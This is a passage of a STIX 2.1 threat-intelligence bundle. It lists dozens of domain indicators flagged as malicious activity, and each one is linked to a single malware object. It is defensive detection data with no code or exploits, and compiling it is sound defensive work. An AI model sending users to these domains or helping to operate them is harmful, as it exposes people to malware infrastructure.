"2024-01-26T21:28:21.644228Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--583f8593-a03d-4b62-b70d-fedc2df67504", "created": "2024-01-26T21:28:21.644615Z", "modified": "2024-01-26T21:28:21.644615Z", "relationship_type": "indicates", "source_ref": "indicator--fe42871b-76ed-4ffe-8421-d1f695f8fd81", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--b6024b23-9ef1-408a-8b7d-d429ae40057d", "created": "2024-01-26T21:28:21.644713Z", "modified": "2024-01-26T21:28:21.644713Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='911hig11carcay959454.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.644713Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--94854101-0485-4d63-9211-8a0c2d89b6e2", "created": "2024-01-26T21:28:21.645196Z", "modified": "2024-01-26T21:28:21.645196Z", "relationship_type": "indicates", "source_ref": "indicator--b6024b23-9ef1-408a-8b7d-d429ae40057d", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--2e81c6cd-5904-4955-ae4f-813b48889276", "created": "2024-01-26T21:28:21.645302Z", "modified": "2024-01-26T21:28:21.645302Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='enoughtoday.org']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.645302Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--e9c7be82-686c-448a-a67f-e11ec0c1577d", "created": "2024-01-26T21:28:21.64569Z", "modified": "2024-01-26T21:28:21.64569Z", "relationship_type": "indicates", "source_ref": "indicator--2e81c6cd-5904-4955-ae4f-813b48889276", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--9f7a661e-df41-4e35-9cb7-d58134ebd9b5", "created": "2024-01-26T21:28:21.645785Z", "modified": "2024-01-26T21:28:21.645785Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='live-once.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.645785Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--1a1c8635-7bc7-435e-973b-6d146245b61e", "created": "2024-01-26T21:28:21.646167Z", "modified": "2024-01-26T21:28:21.646167Z", "relationship_type": "indicates", "source_ref": "indicator--9f7a661e-df41-4e35-9cb7-d58134ebd9b5", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--60cc7992-bae5-4803-8133-fca79c5e9a61", "created": "2024-01-26T21:28:21.646264Z", "modified": "2024-01-26T21:28:21.646264Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='cheapmotelz.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.646264Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--530c1803-593e-49b1-86f3-e31d2030a2e6", "created": "2024-01-26T21:28:21.646649Z", "modified": "2024-01-26T21:28:21.646649Z", "relationship_type": "indicates", "source_ref": "indicator--60cc7992-bae5-4803-8133-fca79c5e9a61", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--0924be9b-5a75-4363-a047-05118fdfa8f5", "created": "2024-01-26T21:28:21.646744Z", "modified": "2024-01-26T21:28:21.646744Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='al-nusr.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.646744Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--a5e54ace-acb5-4f8b-bc3e-f2ff4cf774b1", "created": "2024-01-26T21:28:21.647121Z", "modified": "2024-01-26T21:28:21.647121Z", "relationship_type": "indicates", "source_ref": "indicator--0924be9b-5a75-4363-a047-05118fdfa8f5", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--1e3d3989-4214-40d9-a6e1-a9feee9cec73", "created": "2024-01-26T21:28:21.64722Z", "modified": "2024-01-26T21:28:21.64722Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='rosesforus.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.64722Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--769e5ffb-012e-49a1-a58d-e1e33a3f33bd", "created": "2024-01-26T21:28:21.647599Z", "modified": "2024-01-26T21:28:21.647599Z", "relationship_type": "indicates", "source_ref": "indicator--1e3d3989-4214-40d9-a6e1-a9feee9cec73", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--6a4fca59-de1e-4ed5-8c84-71d36a6962cf", "created": "2024-01-26T21:28:21.647699Z", "modified": "2024-01-26T21:28:21.647699Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='loading-images.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.647699Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--c06c4f7a-ebf6-4fb5-abd4-f0a94ba6362b", "created": "2024-01-26T21:28:21.648087Z", "modified": "2024-01-26T21:28:21.648087Z", "relationship_type": "indicates", "source_ref": "indicator--6a4fca59-de1e-4ed5-8c84-71d36a6962cf", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--31962408-78ad-4164-a07c-4610dbd81834", "created": "2024-01-26T21:28:21.648183Z", "modified": "2024-01-26T21:28:21.648183Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='hotinfosource.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.648183Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--712a9d7d-9ef7-40cb-b964-378e6c8b27e1", "created": "2024-01-26T21:28:21.648654Z", "modified": "2024-01-26T21:28:21.648654Z", "relationship_type": "indicates", "source_ref": "indicator--31962408-78ad-4164-a07c-4610dbd81834", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--4f76b330-2c0f-4272-90a9-45a8f2df1740", "created": "2024-01-26T21:28:21.648753Z", "modified": "2024-01-26T21:28:21.648753Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='gdfr.online']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.648753Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--7560eed4-efb3-4280-9179-5df15e84b712", "created": "2024-01-26T21:28:21.649133Z", "modified": "2024-01-26T21:28:21.649133Z", "relationship_type": "indicates", "source_ref": "indicator--4f76b330-2c0f-4272-90a9-45a8f2df1740", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--d5dbd528-6fc5-4e08-bfe2-8d47ff7fc3b1", "created": "2024-01-26T21:28:21.649233Z", "modified": "2024-01-26T21:28:21.649233Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='cpr-appointments.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.649233Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--1c4a579f-1885-49ce-9a03-940e37439fa1", "created": "2024-01-26T21:28:21.649621Z", "modified": "2024-01-26T21:28:21.649621Z", "relationship_type": "indicates", "source_ref": "indicator--d5dbd528-6fc5-4e08-bfe2-8d47ff7fc3b1", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--b79119b9-68fb-41a0-a40c-5c701843e884", "created": "2024-01-26T21:28:21.649717Z", "modified": "2024-01-26T21:28:21.649717Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='doorcoffeebrown.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.649717Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--42e00415-c554-44ba-a4ed-152c0e5640f3", "created": "2024-01-26T21:28:21.6501Z", "modified": "2024-01-26T21:28:21.6501Z", "relationship_type": "indicates", "source_ref": "indicator--b79119b9-68fb-41a0-a40c-5c701843e884", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--34b97088-a40d-4c83-9c1a-7371eb81cf83", "created": "2024-01-26T21:28:21.650194Z", "modified": "2024-01-26T21:28:21.650194Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='myshoesforever.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.650194Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--c0a5e884-03fd-4512-984f-56e9efd0e045", "created": "2024-01-26T21:28:21.65058Z", "modified": "2024-01-26T21:28:21.65058Z", "relationship_type": "indicates", "source_ref": "indicator--34b97088-a40d-4c83-9c1a-7371eb81cf83", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--c86c9142-66c7-4e89-a5a9-1e5eef161998", "created": "2024-01-26T21:28:21.650676Z", "modified": "2024-01-26T21:28:21.650676Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='lifedonor.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.650676Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--c8fb672d-a08b-49b4-bd96-02b48711401f", "created": "2024-01-26T21:28:21.651059Z", "modified": "2024-01-26T21:28:21.651059Z", "relationship_type": "indicates", "source_ref": "indicator--c86c9142-66c7-4e89-a5a9-1e5eef161998", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--d62975bc-2f78-4987-a47f-21cbaeb79b69", "created": "2024-01-26T21:28:21.651155Z", "modified": "2024-01-26T21:28:21.651155Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='awardpractice.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.651155Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--af47ce67-200a-4761-8420-c46136495316", "created": "2024-01-26T21:28:21.651542Z", "modified": "2024-01-26T21:28:21.651542Z", "relationship_type": "indicates", "source_ref": "indicator--d62975bc-2f78-4987-a47f-21cbaeb79b69", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--26290413-c63b-4861-bf5b-53607f24599d", "created": "2024-01-26T21:28:21.651642Z", "modified": "2024-01-26T21:28:21.651642Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='findouthere.org']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.651642Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--1daaa5d3-f83f-430d-aa85-f2ce45c9d1c3", "created": "2024-01-26T21:28:21.652022Z", "modified": "2024-01-26T21:28:21.652022Z", "relationship_type": "indicates", "source_ref": "indicator--26290413-c63b-4861-bf5b-53607f24599d", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--23be5b35-b0f8-4e6e-8162-d89f8d3f6020", "created": "2024-01-26T21:28:21.652116Z", "modified": "2024-01-26T21:28:21.652116Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='safecrusade.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.652116Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--20023f1b-bd07-4812-abb2-d32300761ca3", "created": "2024-01-26T21:28:21.652495Z", "modified": "2024-01-26T21:28:21.652495Z", "relationship_type": "indicates", "source_ref": "indicator--23be5b35-b0f8-4e6e-8162-d89f8d3f6020", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--36d29d95-aae9-4102-95ec-bbf67cb1a337", "created": "2024-01-26T21:28:21.652591Z", "modified": "2024-01-26T21:28:21.652591Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='cupscars.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.652591Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--a6481cf6-ff22-4582-b4c9-5e313845ced4", "created": "2024-01-26T21:28:21.653049Z", "modified": "2024-01-26T21:28:21.653049Z", "relationship_type": "indicates", "source_ref": "indicator--36d29d95-aae9-4102-95ec-bbf67cb1a337", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--23f8419e-e410-46ed-b3e0-0d45adfadf6f", "created": "2024-01-26T21:28:21.65315Z", "modified": "2024-01-26T21:28:21.65315Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='adjust-local-settings.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.65315Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--f0821405-89c2-4edf-877f-a1589c5fd0ff", "created": "2024-01-26T21:28:21.653546Z", "modified": "2024-01-26T21:28:21.653546Z", "relationship_type": "indicates", "source_ref": "indicator--23f8419e-e410-46ed-b3e0-0d45adfadf6f", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--16053989-095e-4029-a511-1722de7a9783", "created": "2024-01-26T21:28:21.653642Z", "modified": "2024-01-26T21:28:21.653642Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='yourlastchance.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.653642Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--6cffcda0-602c-4aec-8877-fb42a7391e5b", "created": "2024-01-26T21:28:21.654027Z", "modified": "2024-01-26T21:28:21.654027Z", "relationship_type": "indicates", "source_ref": "indicator--16053989-095e-4029-a511-1722de7a9783", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--943139fe-a024-49d9-95b7-a058d10baabc", "created": "2024-01-26T21:28:21.654122Z", "modified": "2024-01-26T21:28:21.654122Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='operations-shifts.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.654122Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--b5ab3da3-dac2-4f7e-bfbd-f87cb06ee9de", "created": "2024-01-26T21:28:21.654512Z", "modified": "2024-01-26T21:28:21.654512Z", "relationship_type": "indicates", "source_ref": "indicator--943139fe-a024-49d9-95b7-a058d10baabc", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--a5aa8243-a128-4cb2-a7d0-5ba5099565a2", "created": "2024-01-26T21:28:21.654608Z", "modified": "2024-01-26T21:28:21.654608Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='netvisualizer.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.654608Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--6a5926e8-a34a-46a0-9950-38b3ac2f02b7", "created": "2024-01-26T21:28:21.654992Z", "modified": "2024-01-26T21:28:21.654992Z", "relationship_type": "indicates", "source_ref": "indicator--a5aa8243-a128-4cb2-a7d0-5ba5099565a2", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--e2411d9e-1408-42db-8532-ce776b34eed0", "created": "2024-01-26T21:28:21.65509Z", "modified": "2024-01-26T21:28:21.65509Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='bunchi.club']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.65509Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--709f1c2f-66a7-4076-818c-6adf45d8527c", "created": "2024-01-26T21:28:21.655466Z", "modified": "2024-01-26T21:28:21.655466Z", "relationship_type": "indicates", "source_ref": "indicator--e2411d9e-1408-42db-8532-ce776b34eed0", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--43ac6800-4f87-4158-86cb-d3596d756ee7", "created": "2024-01-26T21:28:21.655561Z", "modified": "2024-01-26T21:28:21.655561Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='ineediscounts.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.655561Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--0540369d-a513-469f-9842-6483b0304303", "created": "2024-01-26T21:28:21.655946Z", "modified": "2024-01-26T21:28:21.655946Z", "relationship_type": "indicates", "source_ref": "indicator--43ac6800-4f87-4158-86cb-d3596d756ee7", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--7cfc8ee5-33e0-49bc-9501-01c37cf864df", "created": "2024-01-26T21:28:21.656045Z", "modified": "2024-01-26T21:28:21.656045Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='nouvelles247.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.656045Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--d36cbf10-6cc2-4588-b45e-50424074dad4", "created": "2024-01-26T21:28:21.656428Z", "modified": "2024-01-26T21:28:21.656428Z", "relationship_type": "indicates", "source_ref": "indicator--7cfc8ee5-33e0-49bc-9501-01c37cf864df", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--6236e3ee-41cb-47a8-87d9-dc4f1cc98d77", "created": "2024-01-26T21:28:21.656523Z", "modified": "2024-01-26T21:28:21.656523Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='hellomydaddy.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.656523Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--fddde009-1124-4bb7-8996-028fcb9dfd4f", "created": "2024-01-26T21:28:21.656906Z", "modified": "2024-01-26T21:28:21.656906Z", "relationship_type": "indicates", "source_ref": "indicator--6236e3ee-41cb-47a8-87d9-dc4f1cc98d77", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--44f38a9e-f8ac-4f08-8f25-734f3a3b5d92", "created": "2024-01-26T21:28:21.657Z", "modified": "2024-01-26T21:28:21.657Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='poweredbycpanel.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.657Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--e76e3692-6dfc-4501-a3cd-a7b8c7e6a2c4", "created": "2024-01-26T21:28:21.657464Z", "modified": "2024-01-26T21:28:21.657464Z", "relationship_type": "indicates", "source_ref": "indicator--44f38a9e-f8ac-4f08-8f25-734f3a3b5d92", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--eeb32f43-64be-4a1e-ad61-c9c4d6671a05", "created": "2024-01-26T21:28:21.657562Z", "modified": "2024-01-26T21:28:21.657562Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='housesfurniture.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.657562Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--dde2a962-000e-46f2-b99a-2bca997eea2a", "created": "2024-01-26T21:28:21.657955Z", "modified": "2024-01-26T21:28:21.657955Z", "relationship_type": "indicates", "source_ref": "indicator--eeb32f43-64be-4a1e-ad61-c9c4d6671a05", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--8f10d7cb-c5d2-4c9c-8d4a-92ef3829c030", "created": "2024-01-26T21:28:21.65805Z", "modified": "2024-01-26T21:28:21.65805Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='mydailycooking.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.65805Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--8f1e65e3-2822-411a-9ddc-ce65d9e8e810", "created": "2024-01-26T21:28:21.658434Z", "modified": "2024-01-26T21:28:21.658434Z", "relationship_type": "indicates", "source_ref": "indicator--8f10d7cb-c5d2-4c9c-8d4a-92ef3829c030", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--7f4d3d10-84ee-4823-8508-49092f2787ae", "created": "2024-01-26T21:28:21.658529Z", "modified": "2024-01-26T21:28:21.658529Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='wewantflowersnow.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.658529Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--7a34584b-4c2a-4912-9e3d-7ef9854d78a4", "created": "2024-01-26T21:28:21.658919Z", "modified": "2024-01-26T21:28:21.658919Z", "relationship_type": "indicates", "source_ref": "indicator--7f4d3d10-84ee-4823-8508-49092f2787ae", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--7de6d63e-13db-44fa-a79d-b82ed92408f2", "created": "2024-01-26T21:28:21.659018Z", "modified": "2024-01-26T21:28:21.659018Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='like-the-rest.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.659018Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--1b3cc757-5006-4b8e-9e35-591808011754", "created": "2024-01-26T21:28:21.659408Z", "modified": "2024-01-26T21:28:21.659408Z", "relationship_type": "indicates", "source_ref": "indicator--7de6d63e-13db-44fa-a79d-b82ed92408f2", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--3dd8e127-07b0-4ed4-b99c-759ce590721a", "created": "2024-01-26T21:28:21.659504Z", "modified": "2024-01-26T21:28:21.659504Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='becomeiguana.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.659504Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--b1b9df7b-ed31-47d6-973e-9720b3cfd230", "created": "2024-01-26T21:28:21.659887Z", "modified": "2024-01-26T21:28:21.659887Z", "relationship_type": "indicates", "source_ref": "indicator--3dd8e127-07b0-4ed4-b99c-759ce590721a", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--794442e0-502e-4309-b383-18d61468c795", "created": "2024-01-26T21:28:21.659982Z", "modified": "2024-01-26T21:28:21.659982Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='proudmorale.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.659982Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--28cbfe22-aecf-41c3-90e0-b495b0cfc623", "created": "2024-01-26T21:28:21.660366Z", "modified": "2024-01-26T21:28:21.660366Z", "relationship_type": "indicates", "source_ref": "indicator--794442e0-502e-4309-b383-18d61468c795", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--fe74a9a3-009e-4e1b-b667-0e3f4d86f586", "created": "2024-01-26T21:28:21.660461Z", "modified": "2024-01-26T21:28:21.660461Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='maphonortea.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.660461Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--aab3e99f-049b-47a0-90f0-1741a7eca752", "created": "2024-01-26T21:28:21.660842Z", "modified": "2024-01-26T21:28:21.660842Z", "relationship_type": "indicates", "source_ref": "indicator--fe74a9a3-009e-4e1b-b667-0e3f4d86f586", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--b4206fdb-e363-4310-bf0b-e533e2eb7288", "created": "2024-01-26T21:28:21.660938Z", "modified": "2024-01-26T21:28:21.660938Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='redirectit.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.660938Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--3ebfb6bb-1e51-4be4-857b-23fc445d47b0", "created": "2024-01-26T21:28:21.661318Z", "modified": "2024-01-26T21:28:21.661318Z", "relationship_type": "indicates", "source_ref": "indicator--b4206fdb-e363-4310-bf0b-e533e2eb7288", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--fff496f3-5db6-4d70-b386-48084da87978", "created": "2024-01-26T21:28:21.661418Z", "modified": "2024-01-26T21:28:21.661418Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='gettingchances.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.661418Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--02edbadc-5f0f-4d26-8430-00c68ed55928", "created": "2024-01-26T21:28:21.661879Z", "modified": "2024-01-26T21:28:21.661879Z", "relationship_type": "indicates", "source_ref": "indicator--fff496f3-5db6-4d70-b386-48084da87978", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--abfc3fd8-48c3-4841-b23b-6f6fb48a4948", "created": "2024-01-26T21:28:21.661976Z", "modified": "2024-01-26T21:28:21.661976Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='besthotelsaroundme.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.661976Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--bc35ad2e-6aec-4102-9fee-ba031ffdd200", "created": "2024-01-26T21:28:21.662368Z", "modified": "2024-01-26T21:28:21.662368Z", "relationship_type": "indicates", "source_ref": "indicator--abfc3fd8-48c3-4841-b23b-6f6fb48a4948", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--6eac23a0-aff3-41a2-8c27-39a931857e44", "created": "2024-01-26T21:28:21.662464Z", "modified": "2024-01-26T21:28:21.662464Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='free247downloads.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.662464Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--274fe69d-ae6c-4e53-822c-03bffda62402", "created": "2024-01-26T21:28:21.662853Z", "modified": "2024-01-26T21:28:21.662853Z", "relationship_type": "indicates", "source_ref": "indicator--6eac23a0-aff3-41a2-8c27-39a931857e44", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--6b74722d-6b0c-4e68-9d09-5d21130897ef", "created": "2024-01-26T21:28:21.662954Z", "modified": "2024-01-26T21:28:21.662954Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='bulk-theft.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.662954Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--b5479701-bbd5-4754-a036-0cb1112a7913", "created": "2024-01-26T21:28:21.663332Z", "modified": "2024-01-26T21:28:21.663332Z", "relationship_type": "indicates", "source_ref": "indicator--6b74722d-6b0c-4e68-9d09-5d21130897ef", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--d90967f0-0f34-455c-9dbb-1435f59db923", "created": "2024-01-26T21:28:21.66343Z", "modified": "2024-01-26T21:28:21.66343Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='gate-sync.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.66343Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--060136e2-fda3-4cd7-abec-b7e070dc423a", "created": 